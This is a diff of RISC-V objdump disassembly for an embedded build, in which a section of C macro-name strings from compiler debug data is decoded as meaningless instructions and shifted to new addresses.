-    9a20:	5f5f 666f 7366      	0x7366666f5f5f
-    9a26:	7465                	lui	s0,0xffff9
-    9a28:	7428666f          	jal	a2,9016a <__stack_size+0x8f96a>
-    9a2c:	7079                	c.lui	zero,0xffffe
-    9a2e:	2c65                	jal	9ce6 <__stack_size+0x94e6>
-    9a30:	6966                	flw	fs2,88(sp)
-    9a32:	6c65                	lui	s8,0x19
-    9a34:	2964                	fld	fs1,208(a0)
-    9a36:	6f20                	flw	fs0,88(a4)
-    9a38:	6666                	flw	fa2,88(sp)
-    9a3a:	6f746573          	csrrsi	a0,0x6f7,8
-    9a3e:	2866                	fld	fa6,88(sp)
-    9a40:	7974                	flw	fa3,116(a0)
-    9a42:	6570                	flw	fa2,76(a0)
-    9a44:	202c                	fld	fa1,64(s0)
-    9a46:	6966                	flw	fs2,88(sp)
-    9a48:	6c65                	lui	s8,0x19
-    9a4a:	2964                	fld	fs1,208(a0)
-    9a4c:	5f00                	lw	s0,56(a4)
-    9a4e:	4c5f 4244 5f4c      	0x5f4c42444c5f
-    9a54:	414d                	li	sp,19
-    9a56:	544e                	lw	s0,240(sp)
-    9a58:	445f 4749 5f5f      	0x5f5f4749445f
-    9a5e:	3120                	fld	fs0,96(a0)
-    9a60:	3331                	jal	976c <__stack_size+0x8f6c>
-    9a62:	5f00                	lw	s0,56(a4)
-    9a64:	465f 5342 4944      	0x49445342465f
-    9a6a:	2844                	fld	fs1,144(s0)
-    9a6c:	73202973          	csrr	s2,0x732
-    9a70:	7274                	flw	fa3,100(a2)
-    9a72:	6375                	lui	t1,0x1d
-    9a74:	2074                	fld	fa3,192(s0)
-    9a76:	5f5f 6168 6b63      	0x6b6361685f5f
-    9a7c:	5f00                	lw	s0,56(a4)
-    9a7e:	555f 4e49 5f54      	0x5f544e49555f
-    9a84:	454c                	lw	a1,12(a0)
-    9a86:	5341                	li	t1,-16
-    9a88:	3854                	fld	fa3,176(s0)
-    9a8a:	545f 5059 5f45      	0x5f455059545f
-    9a90:	205f 6e75 6973      	0x69736e75205f
-    9a96:	64656e67          	0x64656e67
-    9a9a:	6320                	flw	fs0,64(a4)
-    9a9c:	6168                	flw	fa0,68(a0)
-    9a9e:	0072                	c.slli	zero,0x1c
-    9aa0:	525f 4e41 3444      	0x34444e41525f
-    9aa6:	5f38                	lw	a4,120(a4)
-    9aa8:	44454553          	0x44454553
-    9aac:	315f 2820 7830      	0x78302820315f
-    9ab2:	6261                	lui	tp,0x18
-    9ab4:	00296463          	bltu	s2,sp,9abc <__stack_size+0x92bc>
-    9ab8:	484d                	li	a6,19
-    9aba:	205a                	fld	ft0,400(sp)
-    9abc:	4328                	lw	a0,64(a4)
-    9abe:	5550                	lw	a2,44(a0)
-    9ac0:	465f 4552 2f51      	0x2f514552465f
-    9ac6:	3031                	jal	92d2 <__stack_size+0x8ad2>
+    95fc:	5f5f 4c46 5f54      	0x5f544c465f5f
+    9602:	4544                	lw	s1,12(a0)
+    9604:	4f4e                	lw	t5,208(sp)
+    9606:	4d52                	lw	s10,20(sp)
+    9608:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
+    960e:	3120                	fld	fs0,96(a0)
+    9610:	342e                	fld	fs0,232(sp)
+    9612:	3130                	fld	fa2,96(a0)
+    9614:	3932                	fld	fs2,296(sp)
+    9616:	3438                	fld	fa4,104(s0)
+    9618:	3436                	fld	fs0,360(sp)
+    961a:	38343233          	0x38343233
+    961e:	3731                	jal	952a <__stack_size+0x8d2a>
+    9620:	3730                	fld	fa2,104(a4)
+    9622:	3930                	fld	fa2,112(a0)
+    9624:	3332                	fld	ft6,296(sp)
+    9626:	35393237          	lui	tp,0x35393
+    962a:	3338                	fld	fa4,96(a4)
+    962c:	3832                	fld	fa6,296(sp)
+    962e:	3939                	jal	924c <__stack_size+0x8a4c>
+    9630:	3631                	jal	913c <__stack_size+0x893c>
+    9632:	3331                	jal	933e <__stack_size+0x8b3e>
+    9634:	2d65                	jal	9cec <__stack_size+0x94ec>
+    9636:	3534                	fld	fa3,104(a0)
+    9638:	0046                	c.slli	zero,0x11
+    963a:	5f5f 444c 4c42      	0x4c42444c5f5f
+    9640:	455f 5350 4c49      	0x4c495350455f
+    9646:	5f5f4e4f          	fnmadd.q	ft8,ft10,fs5,fa1,rmm
+    964a:	3120                	fld	fs0,96(a0)
+    964c:	392e                	fld	fs2,232(sp)
+    964e:	3532                	fld	fa0,296(sp)
+    9650:	3239                	jal	8f5e <__stack_size+0x875e>
+    9652:	3939                	jal	9270 <__stack_size+0x8a70>
+    9654:	3434                	fld	fa3,104(s0)
+    9656:	32373833          	0x32373833
+    965a:	35383533          	0x35383533
+    965e:	35353033          	0x35353033
+    9662:	3739                	jal	9570 <__stack_size+0x8d70>
+    9664:	32343937          	lui	s2,0x32343
+    9668:	3835                	jal	8ea4 <__stack_size+0x86a4>
+    966a:	3934                	fld	fa3,112(a0)
+    966c:	3732                	fld	fa4,296(sp)
+    966e:	2d653233          	0x2d653233
+    9672:	004c3433          	sltu	s0,s8,tp
+    9676:	5f474953          	0x5f474953
+    967a:	5441                	li	s0,-16
+    967c:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
+    9680:	4d5f 5841 7300      	0x730058414d5f
+    9686:	5f74                	lw	a3,124(a4)
+    9688:	746d                	lui	s0,0xffffb
+    968a:	6d69                	lui	s10,0x1a
+    968c:	2065                	jal	9734 <__stack_size+0x8f34>
+    968e:	6d5f7473          	csrrci	s0,0x6d5,30
+    9692:	6974                	flw	fa3,84(a0)
+    9694:	2e6d                	jal	9a4e <__stack_size+0x924e>
+    9696:	7674                	flw	fa3,108(a2)
+    9698:	735f 6365 5f00      	0x5f006365735f
+    969e:	725f 7369 7663      	0x76637369725f
+    96a4:	6d5f 6c75 3120      	0x31206c756d5f
+    96aa:	5f00                	lw	s0,56(a4)
+    96ac:	625f 7773 7061      	0x70617773625f
+    96b2:	3631                	jal	91be <__stack_size+0x89be>
+    96b4:	5f28                	lw	a0,120(a4)
+    96b6:	2978                	fld	fa4,208(a0)
+    96b8:	5f20                	lw	s0,120(a4)
+    96ba:	625f 6975 746c      	0x746c6975625f
+    96c0:	6e69                	lui	t3,0x1a
+    96c2:	625f 7773 7061      	0x70617773625f
+    96c8:	3631                	jal	91d4 <__stack_size+0x89d4>
+    96ca:	5f28                	lw	a0,120(a4)
+    96cc:	2978                	fld	fa4,208(a0)
+    96ce:	5700                	lw	s0,40(a4)
+    96d0:	4e49                	li	t3,18
+    96d2:	5f54                	lw	a3,60(a4)
+    96d4:	414d                	li	sp,19
+    96d6:	0058                	addi	a4,sp,4
+    96d8:	465f 4944 4552      	0x45524944465f
+    96de:	30205443          	fmadd.s	fs0,ft0,ft2,ft6,unknown
+    96e2:	3878                	fld	fa4,240(s0)
+    96e4:	3030                	fld	fa2,96(s0)
+    96e6:	3030                	fld	fa2,96(s0)
+    96e8:	5300                	lw	s0,32(a4)
+    96ea:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
+    96ee:	4d5f 4e49 2820      	0x28204e494d5f
+    96f4:	532d                	li	t1,-21
+    96f6:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
+    96fa:	4d5f 5841 2d20      	0x2d2058414d5f
+    9700:	3120                	fld	fs0,96(a0)
+    9702:	0029                	c.nop	10
+    9704:	5f5f 4544 5f43      	0x5f4345445f5f
+    970a:	5645                	li	a2,-15
+    970c:	4c41                	li	s8,16
+    970e:	4d5f 5445 4f48      	0x4f4854454d5f
+    9714:	5f44                	lw	s1,60(a4)
+    9716:	205f 0032 5355      	0x53550032205f
+    971c:	5248                	lw	a0,36(a2)
+    971e:	5f54                	lw	a3,60(a4)
+    9720:	414d                	li	sp,19
+    9722:	0058                	addi	a4,sp,4
+    9724:	58455f4f          	fnmadd.s	ft10,fa0,ft4,fa1,unknown
+    9728:	4345                	li	t1,17
+    972a:	5f20                	lw	s0,120(a4)
+    972c:	4546                	lw	a0,80(sp)
+    972e:	4558                	lw	a4,12(a0)
+    9730:	43525343          	fmadd.d	ft6,ft4,fs5,fs0,unknown
+    9734:	0048                	addi	a0,sp,4
+    9736:	5f5f 444c 4c42      	0x4c42444c5f5f
+    973c:	485f 5341 495f      	0x495f5341485f
+    9742:	464e                	lw	a2,208(sp)
+    9744:	4e49                	li	t3,18
+    9746:	5449                	li	s0,-14
+    9748:	5f59                	li	t5,-10
+    974a:	205f 0031 4954      	0x49540031205f
+    9750:	454d                	li	a0,19
+    9752:	43455053          	0x43455053
+    9756:	545f 5f4f 4954      	0x49545f4f545f
+    975c:	454d                	li	a0,19
+    975e:	4156                	lw	sp,84(sp)
+    9760:	284c                	fld	fa1,144(s0)
+    9762:	7674                	flw	fa3,108(a2)
+    9764:	742c                	flw	fa1,104(s0)
+    9766:	64202973          	csrr	s2,0x642
+    976a:	207b206f          	j	bc170 <__stack_size+0xbb970>
+    976e:	7428                	flw	fa0,104(s0)
+    9770:	2976                	fld	fs2,344(sp)
+    9772:	3e2d                	jal	92ac <__stack_size+0x8aac>
+    9774:	7674                	flw	fa3,108(a2)
+    9776:	735f 6365 3d20      	0x3d206365735f
+    977c:	2820                	fld	fs0,80(s0)
+    977e:	7374                	flw	fa3,100(a4)
+    9780:	2d29                	jal	9d9a <__stack_size+0x959a>
+    9782:	743e                	flw	fs0,236(sp)
+    9784:	5f76                	lw	t5,124(sp)
+    9786:	3b636573          	csrrsi	a0,pmpaddr6,6
+    978a:	2820                	fld	fs0,80(s0)
+    978c:	7674                	flw	fa3,108(a2)
+    978e:	2d29                	jal	9da8 <__stack_size+0x95a8>
+    9790:	743e                	flw	fs0,236(sp)
+    9792:	5f76                	lw	t5,124(sp)
+    9794:	7375                	lui	t1,0xffffd
+    9796:	6365                	lui	t1,0x19
+    9798:	3d20                	fld	fs0,120(a0)
+    979a:	2820                	fld	fs0,80(s0)
+    979c:	7374                	flw	fa3,100(a4)
+    979e:	2d29                	jal	9db8 <__stack_size+0x95b8>
+    97a0:	743e                	flw	fs0,236(sp)
+    97a2:	5f76                	lw	t5,124(sp)
+    97a4:	736e                	flw	ft6,248(sp)
+    97a6:	6365                	lui	t1,0x19
+    97a8:	2f20                	fld	fs0,88(a4)
+    97aa:	3120                	fld	fs0,96(a0)
+    97ac:	3030                	fld	fa2,96(s0)
+    97ae:	3b30                	fld	fa2,112(a4)
+    97b0:	7d20                	flw	fs0,120(a0)
+    97b2:	7720                	flw	fs0,104(a4)
+    97b4:	6968                	flw	fa0,84(a0)
+    97b6:	656c                	flw	fa1,76(a0)
+    97b8:	2820                	fld	fs0,80(s0)
+    97ba:	2930                	fld	fa2,80(a0)
+    97bc:	5f00                	lw	s0,56(a4)
+    97be:	4350                	lw	a2,4(a4)
+    97c0:	4d5f 5841 435f      	0x435f58414d5f
+    97c6:	4e41                	li	t3,16
+    97c8:	31204e4f          	fnmadd.s	ft8,ft0,fs2,ft6,rmm
+    97cc:	5f00                	lw	s0,56(a4)
+    97ce:	5346                	lw	t1,112(sp)
+    97d0:	4545                	li	a0,17
+    97d2:	504f5f4b          	fnmsub.s	ft10,ft10,ft4,fa0,unknown
+    97d6:	4954                	lw	a3,20(a0)
+    97d8:	494d                	li	s2,19
+    97da:	415a                	lw	sp,148(sp)
+    97dc:	4954                	lw	a3,20(a0)
+    97de:	31204e4f          	fnmadd.s	ft8,ft0,fs2,ft6,rmm
+    97e2:	5f00                	lw	s0,56(a4)
+    97e4:	4f49                	li	t5,18
+    97e6:	4246                	lw	tp,80(sp)
+    97e8:	2046                	fld	ft0,80(sp)
+    97ea:	0030                	addi	a2,sp,8
+    97ec:	545f 4d49 5f45      	0x5f454d49545f
+    97f2:	5f54                	lw	a3,60(a4)
+    97f4:	5f20                	lw	s0,120(a4)
+    97f6:	695f 746e 6c5f      	0x6c5f746e695f
+    97fc:	6165                	addi	sp,sp,112
+    97fe:	34367473          	csrrci	s0,mtval,12
+    9802:	745f 5f00 465f      	0x465f5f00745f
+    9808:	544c                	lw	a1,44(s0)
+    980a:	4e5f 524f 5f4d      	0x5f4d524f4e5f
+    9810:	414d                	li	sp,19
+    9812:	5f58                	lw	a4,60(a4)
+    9814:	205f 2e33 3034      	0x30342e33205f
+    981a:	3832                	fld	fa6,296(sp)
+    981c:	3332                	fld	ft6,296(sp)
+    981e:	3634                	fld	fa3,104(a2)
+    9820:	3336                	fld	ft6,360(sp)
+    9822:	3538                	fld	fa4,104(a0)
+    9824:	3832                	fld	fa6,296(sp)
+    9826:	3538                	fld	fa4,104(a0)
+    9828:	3839                	jal	9046 <__stack_size+0x8846>
+    982a:	3131                	jal	9436 <__stack_size+0x8c36>
+    982c:	31343037          	lui	zero,0x31343
+    9830:	3338                	fld	fa4,96(a4)
+    9832:	3834                	fld	fa3,112(s0)
+    9834:	3534                	fld	fa3,104(a0)
+    9836:	3631                	jal	9342 <__stack_size+0x8b42>
+    9838:	3239                	jal	9146 <__stack_size+0x8946>
+    983a:	6535                	lui	a0,0xd
+    983c:	4638332b          	0x4638332b
+    9840:	5f00                	lw	s0,56(a4)
+    9842:	5f535953          	0x5f535953
+    9846:	4e55                	li	t3,21
+    9848:	5349                	li	t1,-14
+    984a:	4454                	lw	a3,12(s0)
+    984c:	485f 0020 5f5f      	0x5f5f0020485f
+    9852:	656e                	flw	fa0,216(sp)
+    9854:	6465                	lui	s0,0x19
+    9856:	5f5f 765f 5f61      	0x5f61765f5f5f
+    985c:	696c                	flw	fa1,84(a0)
+    985e:	00207473          	csrrci	s0,frm,0
+    9862:	535f 5f43 5441      	0x54415f43535f
+    9868:	5845                	li	a6,-15
+    986a:	5449                	li	s0,-14
+    986c:	4d5f 5841 3520      	0x352058414d5f
+    9872:	0035                	c.nop	13
+    9874:	5f5f 4e53 4b4c      	0x4b4c4e535f5f
+    987a:	3020                	fld	fs0,96(s0)
+    987c:	3078                	fld	fa4,224(s0)
+    987e:	3030                	fld	fa2,96(s0)
+    9880:	0031                	c.nop	12
+    9882:	5f5f 6f63 736e      	0x736e6f635f5f
+    9888:	2074                	fld	fa3,192(s0)
+    988a:	736e6f63          	bltu	t3,s6,9fc8 <__stack_size+0x97c8>
+    988e:	0074                	addi	a3,sp,12
+    9890:	465f 5845 4f4c      	0x4f4c5845465f
+    9896:	30204b43          	fmadd.s	fs6,ft0,ft2,ft6,rmm
+    989a:	3078                	fld	fa4,224(s0)
+    989c:	3031                	jal	90a8 <__stack_size+0x88a8>
+    989e:	0030                	addi	a2,sp,8
+    98a0:	535f 5f43 5f32      	0x5f325f43535f
+    98a6:	4250                	lw	a2,4(a2)
+    98a8:	31312053          	0x31312053
+    98ac:	505f0033          	0x505f0033
+    98b0:	414e5f43          	fmadd.s	ft10,ft8,fs4,fs0,unknown
+    98b4:	454d                	li	a0,19
+    98b6:	4d5f 5841 3320      	0x332058414d5f
+    98bc:	4d00                	lw	s0,24(a0)
+    98be:	4f5a                	lw	t5,148(sp)
+    98c0:	454e                	lw	a0,208(sp)
+    98c2:	525f 5444 4d49      	0x4d495444525f
+    98c8:	4345                	li	t1,17
+    98ca:	504d                	c.li	zero,-13
+    98cc:	2928                	fld	fa0,80(a0)
+    98ce:	2820                	fld	fs0,80(s0)
+    98d0:	6572207b          	0x6572207b
+    98d4:	74736967          	0x74736967
+    98d8:	7265                	lui	tp,0xffff9
+    98da:	7520                	flw	fs0,104(a0)
+    98dc:	6e69                	lui	t3,0x1a
+    98de:	3374                	fld	fa3,224(a4)
+    98e0:	5f32                	lw	t5,44(sp)
+    98e2:	2074                	fld	fa3,192(s0)
+    98e4:	3061                	jal	916c <__stack_size+0x896c>
+    98e6:	6120                	flw	fs0,64(a0)
+    98e8:	28206d73          	csrrsi	s10,0x282,0
+    98ec:	6122                	flw	ft2,8(sp)
+    98ee:	2230                	fld	fa2,64(a2)
+    98f0:	2c29                	jal	9b0a <__stack_size+0x930a>
+    98f2:	6120                	flw	fs0,64(a0)
+    98f4:	2031                	jal	9900 <__stack_size+0x9100>
+    98f6:	7361                	lui	t1,0xffff8
+    98f8:	206d                	jal	99a2 <__stack_size+0x91a2>
+    98fa:	2228                	fld	fa0,64(a2)
+    98fc:	3161                	jal	9584 <__stack_size+0x8d84>
+    98fe:	2922                	fld	fs2,8(sp)
+    9900:	7361203b          	0x7361203b
+    9904:	206d                	jal	99ae <__stack_size+0x91ae>
+    9906:	6f76                	flw	ft10,92(sp)
+    9908:	616c                	flw	fa1,68(a0)
+    990a:	6974                	flw	fa3,84(a0)
+    990c:	656c                	flw	fa1,76(a0)
+    990e:	2820                	fld	fs0,80(s0)
+    9910:	6c22                	flw	fs8,8(sp)
+    9912:	2069                	jal	999c <__stack_size+0x919c>
+    9914:	3061                	jal	919c <__stack_size+0x899c>
+    9916:	202c                	fld	fa1,64(s0)
+    9918:	3b35                	jal	9654 <__stack_size+0x8e54>
+    991a:	2022                	fld	ft0,8(sp)
+    991c:	7a6d                	lui	s4,0xffffb
+    991e:	20656e6f          	jal	t3,5fb24 <__stack_size+0x5f324>
+    9922:	203a                	fld	ft0,392(sp)
+    9924:	3d22                	fld	fs10,40(sp)
+    9926:	2272                	fld	ft4,280(sp)
+    9928:	6128                	flw	fa0,64(a0)
+    992a:	2930                	fld	fa2,80(a0)
+    992c:	202c                	fld	fa1,64(s0)
+    992e:	3d22                	fld	fs10,40(sp)
+    9930:	2272                	fld	ft4,280(sp)
+    9932:	6128                	flw	fa0,64(a0)
+    9934:	2931                	jal	9d50 <__stack_size+0x9550>
+    9936:	3b29                	jal	9650 <__stack_size+0x8e50>
+    9938:	2820                	fld	fs0,80(s0)
+    993a:	6975                	lui	s2,0x1d
+    993c:	746e                	flw	fs0,248(sp)
+    993e:	3436                	fld	fs0,360(sp)
+    9940:	745f 6129 3c31      	0x3c316129745f
+    9946:	333c                	fld	fa5,96(a4)
+    9948:	2032                	fld	ft0,264(sp)
+    994a:	207c                	fld	fa5,192(s0)
+    994c:	3061                	jal	91d4 <__stack_size+0x89d4>
+    994e:	297d203b          	0x297d203b
+    9952:	5f00                	lw	s0,56(a4)
+    9954:	465f 544c 3231      	0x3231544c465f
+    995a:	5f38                	lw	a4,120(a4)
+    995c:	4544                	lw	s1,12(a0)
+    995e:	414d4943          	fmadd.s	fs2,fs10,fs4,fs0,rmm
+    9962:	5f4c                	lw	a1,60(a4)
+    9964:	4944                	lw	s1,20(a0)
+    9966:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    996a:	5f003633          	0x5f003633
+    996e:	465f 544c 485f      	0x485f544c465f
+    9974:	5341                	li	t1,-16
+    9976:	445f 4e45 524f      	0x524f4e45445f
+    997c:	5f4d                	li	t5,-13
+    997e:	205f 0031 5f5f      	0x5f5f0031205f
+    9984:	43554e47          	fmsub.d	ft8,fa0,fs5,fs0,rmm
+    9988:	494c                	lw	a1,20(a0)
+    998a:	4d5f454b          	0x4d5f454b
+    998e:	5441                	li	s0,-16
+    9990:	5f48                	lw	a0,60(a4)
+    9992:	5542                	lw	a0,48(sp)
+    9994:	4c49                	li	s8,18
+    9996:	4954                	lw	a3,20(a0)
+    9998:	5f4e                	lw	t5,240(sp)
+    999a:	534e4f43          	fmadd.d	ft10,ft8,fs4,fa0,rmm
+    999e:	4154                	lw	a3,4(a0)
+    99a0:	544e                	lw	s0,240(sp)
+    99a2:	55002053          	0x55002053
+    99a6:	4e49                	li	t3,18
+    99a8:	5f54                	lw	a3,60(a4)
+    99aa:	454c                	lw	a1,12(a0)
+    99ac:	5341                	li	t1,-16
+    99ae:	3854                	fld	fa3,176(s0)
+    99b0:	4d5f 5841 5f00      	0x5f0058414d5f
+    99b6:	415f4353          	0x415f4353
+    99ba:	4752                	lw	a4,20(sp)
+    99bc:	4d5f 5841 3020      	0x302058414d5f
+    99c2:	4300                	lw	s0,0(a4)
+    99c4:	494c                	lw	a1,20(a0)
+    99c6:	544e                	lw	s0,240(sp)
+    99c8:	4d5f 4953 2050      	0x205049534d5f
+    99ce:	7830                	flw	fa2,112(s0)
+    99d0:	3030                	fld	fa2,96(s0)
+    99d2:	3030                	fld	fa2,96(s0)
+    99d4:	6300                	flw	fs0,0(a4)
+    99d6:	656c                	flw	fa1,76(a0)
+    99d8:	7261                	lui	tp,0xffff8
+    99da:	7265                	lui	tp,0xffff9
+    99dc:	2872                	fld	fa6,280(sp)
+    99de:	2970                	fld	fa2,208(a0)
+    99e0:	5f20                	lw	s0,120(a4)
+    99e2:	735f 6c63 6165      	0x61656c63735f
+    99e8:	6572                	flw	fa0,28(sp)
+    99ea:	7272                	flw	ft4,60(sp)
+    99ec:	7028                	flw	fa0,96(s0)
+    99ee:	0029                	c.nop	10
+    99f0:	5f5f 4244 5f4c      	0x5f4c42445f5f
+    99f6:	414d                	li	sp,19
+    99f8:	544e                	lw	s0,240(sp)
+    99fa:	445f 4749 5f5f      	0x5f5f4749445f
+    9a00:	3520                	fld	fs0,104(a0)
+    9a02:	475f0033          	0x475f0033
+    9a06:	4d5f4343          	0x4d5f4343
+    9a0a:	5841                	li	a6,-16
+    9a0c:	415f 494c 4e47      	0x4e47494c415f
+    9a12:	545f 0020 5f5f      	0x5f5f0020545f
+    9a18:	4c46                	lw	s8,80(sp)
+    9a1a:	3654                	fld	fa3,168(a2)
+    9a1c:	5f34                	lw	a3,120(a4)
+    9a1e:	4148                	lw	a0,4(a0)
+    9a20:	45445f53          	0x45445f53
+    9a24:	4f4e                	lw	t5,208(sp)
+    9a26:	4d52                	lw	s10,20(sp)
+    9a28:	5f5f 3120 4900      	0x490031205f5f
+    9a2e:	544e                	lw	s0,240(sp)
+    9a30:	465f 5341 3854      	0x38545341465f
+    9a36:	4d5f 4e49 2820      	0x28204e494d5f
+    9a3c:	492d                	li	s2,11
+    9a3e:	544e                	lw	s0,240(sp)
+    9a40:	465f 5341 3854      	0x38545341465f
+    9a46:	4d5f 5841 2d20      	0x2d2058414d5f
+    9a4c:	3120                	fld	fs0,96(a0)
+    9a4e:	0029                	c.nop	10
+    9a50:	4e49                	li	t3,18
+    9a52:	3854                	fld	fa3,176(s0)
+    9a54:	4d5f 4e49 5300      	0x53004e494d5f
+    9a5a:	495f 5246 4745      	0x47455246495f
+    9a60:	5f20                	lw	s0,120(a4)
+    9a62:	4649                	li	a2,18
+    9a64:	4552                	lw	a0,20(sp)
+    9a66:	535f0047          	fmsub.d	ft0,ft10,fs5,fa0,rne
+    9a6a:	5f325f43          	fmadd.q	ft10,ft4,fs3,fa1,unknown
+    9a6e:	4250                	lw	a2,4(a2)
+    9a70:	454d5f53          	0x454d5f53
+    9a74:	47415353          	0x47415353
+    9a78:	2045                	jal	9b18 <__stack_size+0x9318>
+    9a7a:	3131                	jal	9686 <__stack_size+0x8e86>
+    9a7c:	5f5f0037          	lui	zero,0x5f5f0
+    9a80:	455a4953          	0x455a4953
+    9a84:	465f464f          	fnmadd.q	fa2,ft10,ft5,fs0,rmm
+    9a88:	4f4c                	lw	a1,28(a4)
+    9a8a:	5441                	li	s0,-16
+    9a8c:	5f5f 3420 6d00      	0x6d0034205f5f
+    9a92:	6961                	lui	s2,0x18
+    9a94:	006e                	c.slli	zero,0x1b
+    9a96:	5f5f 4953 455a      	0x455a49535f5f
+    9a9c:	545f 5f5f 0020      	0x205f5f545f
+    9aa2:	5f5f 4953 455a      	0x455a49535f5f
+    9aa8:	545f 5059 5f45      	0x5f455059545f
+    9aae:	205f 6e75 6973      	0x69736e75205f
+    9ab4:	64656e67          	0x64656e67
+    9ab8:	6920                	flw	fs0,80(a0)
+    9aba:	746e                	flw	fs0,248(sp)
+    9abc:	5300                	lw	s0,32(a4)
+    9abe:	495f 5257 5449      	0x54495257495f
+    9ac4:	2045                	jal	9b64 <__stack_size+0x9364>
+    9ac6:	3030                	fld	fa2,96(s0)
     9ac8:	3030                	fld	fa2,96(s0)
-    9aca:	3030                	fld	fa2,96(s0)
-    9acc:	2930                	fld	fa2,80(a0)
-    9ace:	5f00                	lw	s0,56(a4)
-    9ad0:	4c5f 4244 5f4c      	0x5f4c42444c5f
-    9ad6:	494d                	li	s2,19
-    9ad8:	5f4e                	lw	t5,240(sp)
-    9ada:	3031                	jal	92e6 <__stack_size+0x8ae6>
-    9adc:	455f 5058 5f5f      	0x5f5f5058455f
-    9ae2:	2820                	fld	fs0,80(s0)
-    9ae4:	342d                	jal	950e <__stack_size+0x8d0e>
-    9ae6:	3339                	jal	97f4 <__stack_size+0x8ff4>
-    9ae8:	2931                	jal	9f04 <__stack_size+0x9704>
-    9aea:	5f00                	lw	s0,56(a4)
-    9aec:	755f 726e 6165      	0x6165726e755f
-    9af2:	62616863          	bltu	sp,t1,a122 <__stack_size+0x9922>
-    9af6:	656c                	flw	fa1,76(a0)
-    9af8:	2928                	fld	fa0,80(a0)
-    9afa:	5f20                	lw	s0,120(a4)
-    9afc:	625f 6975 746c      	0x746c6975625f
-    9b02:	6e69                	lui	t3,0x1a
-    9b04:	755f 726e 6165      	0x6165726e755f
-    9b0a:	62616863          	bltu	sp,t1,a13a <__stack_size+0x993a>
-    9b0e:	656c                	flw	fa1,76(a0)
-    9b10:	2928                	fld	fa0,80(a0)
-    9b12:	4f00                	lw	s0,24(a4)
-    9b14:	415f 5050 4e45      	0x4e455050415f
-    9b1a:	2044                	fld	fs1,128(s0)
-    9b1c:	465f 5041 4550      	0x45505041465f
-    9b22:	444e                	lw	s0,208(sp)
-    9b24:	5500                	lw	s0,40(a0)
-    9b26:	4e49                	li	t3,18
-    9b28:	3154                	fld	fa3,160(a0)
-    9b2a:	5f36                	lw	t5,108(sp)
-    9b2c:	5f5f0043          	fmadd.q	ft0,ft10,fs5,fa1,rne
-    9b30:	49525453          	0x49525453
-    9b34:	474e                	lw	a4,208(sp)
-    9b36:	7828                	flw	fa0,112(s0)
-    9b38:	2029                	jal	9b42 <__stack_size+0x9342>
-    9b3a:	43007823          	0x43007823
-    9b3e:	4d5f5253          	0x4d5f5253
-    9b42:	5349                	li	t1,-14
-    9b44:	2041                	jal	9bc4 <__stack_size+0x93c4>
-    9b46:	0038                	addi	a4,sp,8
-    9b48:	495f 544e 3436      	0x3436544e495f
-    9b4e:	545f 445f 4345      	0x4345445f545f
-    9b54:	414c                	lw	a1,4(a0)
-    9b56:	4552                	lw	a0,20(sp)
-    9b58:	2044                	fld	fs1,128(s0)
-    9b5a:	4e00                	lw	s0,24(a2)
-    9b5c:	554f5247          	0x554f5247
-    9b60:	5350                	lw	a2,36(a4)
-    9b62:	4d5f 5841 3120      	0x312058414d5f
-    9b68:	0036                	c.slli	zero,0xd
-    9b6a:	5f5f 4843 5241      	0x524148435f5f
-    9b70:	3631                	jal	967c <__stack_size+0x8e7c>
-    9b72:	545f 5059 5f45      	0x5f455059545f
-    9b78:	205f 6873 726f      	0x726f6873205f
-    9b7e:	2074                	fld	fa3,192(s0)
-    9b80:	6e75                	lui	t3,0x1d
-    9b82:	6e676973          	csrrsi	s2,0x6e6,14
-    9b86:	6465                	lui	s0,0x19
-    9b88:	6920                	flw	fs0,80(a0)
-    9b8a:	746e                	flw	fs0,248(sp)
-    9b8c:	4900                	lw	s0,16(a0)
-    9b8e:	544e                	lw	s0,240(sp)
-    9b90:	3631                	jal	969c <__stack_size+0x8e9c>
-    9b92:	4d5f 4e49 2820      	0x28204e494d5f
-    9b98:	492d                	li	s2,11
-    9b9a:	544e                	lw	s0,240(sp)
-    9b9c:	3631                	jal	96a8 <__stack_size+0x8ea8>
-    9b9e:	4d5f 5841 2d20      	0x2d2058414d5f
-    9ba4:	3120                	fld	fs0,96(a0)
-    9ba6:	0029                	c.nop	10
-    9ba8:	525f 4545 544e      	0x544e4545525f
-    9bae:	4d5f 5442 574f      	0x574f54424d5f
-    9bb4:	54535f43          	0x54535f43
-    9bb8:	5441                	li	s0,-16
-    9bba:	2845                	jal	9c6a <__stack_size+0x946a>
-    9bbc:	7470                	flw	fa2,108(s0)
-    9bbe:	2972                	fld	fs2,280(sp)
-    9bc0:	2820                	fld	fs0,80(s0)
-    9bc2:	7028                	flw	fa0,96(s0)
-    9bc4:	7274                	flw	fa3,100(a2)
-    9bc6:	2d29                	jal	a1e0 <__stack_size+0x99e0>
-    9bc8:	5f3e                	lw	t5,236(sp)
-    9bca:	656e                	flw	fa0,216(sp)
-    9bcc:	725f2e77          	0x725f2e77
-    9bd0:	6565                	lui	a0,0x19
-    9bd2:	746e                	flw	fs0,248(sp)
-    9bd4:	5f2e                	lw	t5,232(sp)
-    9bd6:	626d                	lui	tp,0x1b
-    9bd8:	6f74                	flw	fa3,92(a4)
-    9bda:	735f6377          	0x735f6377
-    9bde:	6174                	flw	fa3,68(a0)
-    9be0:	6574                	flw	fa3,76(a0)
-    9be2:	0029                	c.nop	10
-    9be4:	535f 5f43 4f43      	0x4f435f43535f
-    9bea:	4c4c                	lw	a1,28(s0)
-    9bec:	575f 4945 4847      	0x48474945575f
-    9bf2:	5354                	lw	a3,36(a4)
-    9bf4:	4d5f 5841 3620      	0x362058414d5f
-    9bfa:	0032                	c.slli	zero,0xc
-    9bfc:	5750                	lw	a2,44(a4)
-    9bfe:	5f4d                	li	t5,-13
-    9c00:	20474643          	fmadd.s	fa2,fa4,ft4,ft4,rmm
-    9c04:	7830                	flw	fa2,112(s0)
-    9c06:	3030                	fld	fa2,96(s0)
-    9c08:	4300                	lw	s0,0(a4)
-    9c0a:	28575253          	0x28575253
-    9c0e:	2c727363          	bgeu	tp,t2,9ed4 <__stack_size+0x96d4>
-    9c12:	7372                	flw	ft6,60(sp)
-    9c14:	2029                	jal	9c1e <__stack_size+0x941e>
-    9c16:	7b28                	flw	fa0,112(a4)
-    9c18:	6920                	flw	fs0,80(a0)
-    9c1a:	2066                	fld	ft0,88(sp)
-    9c1c:	5f28                	lw	a0,120(a4)
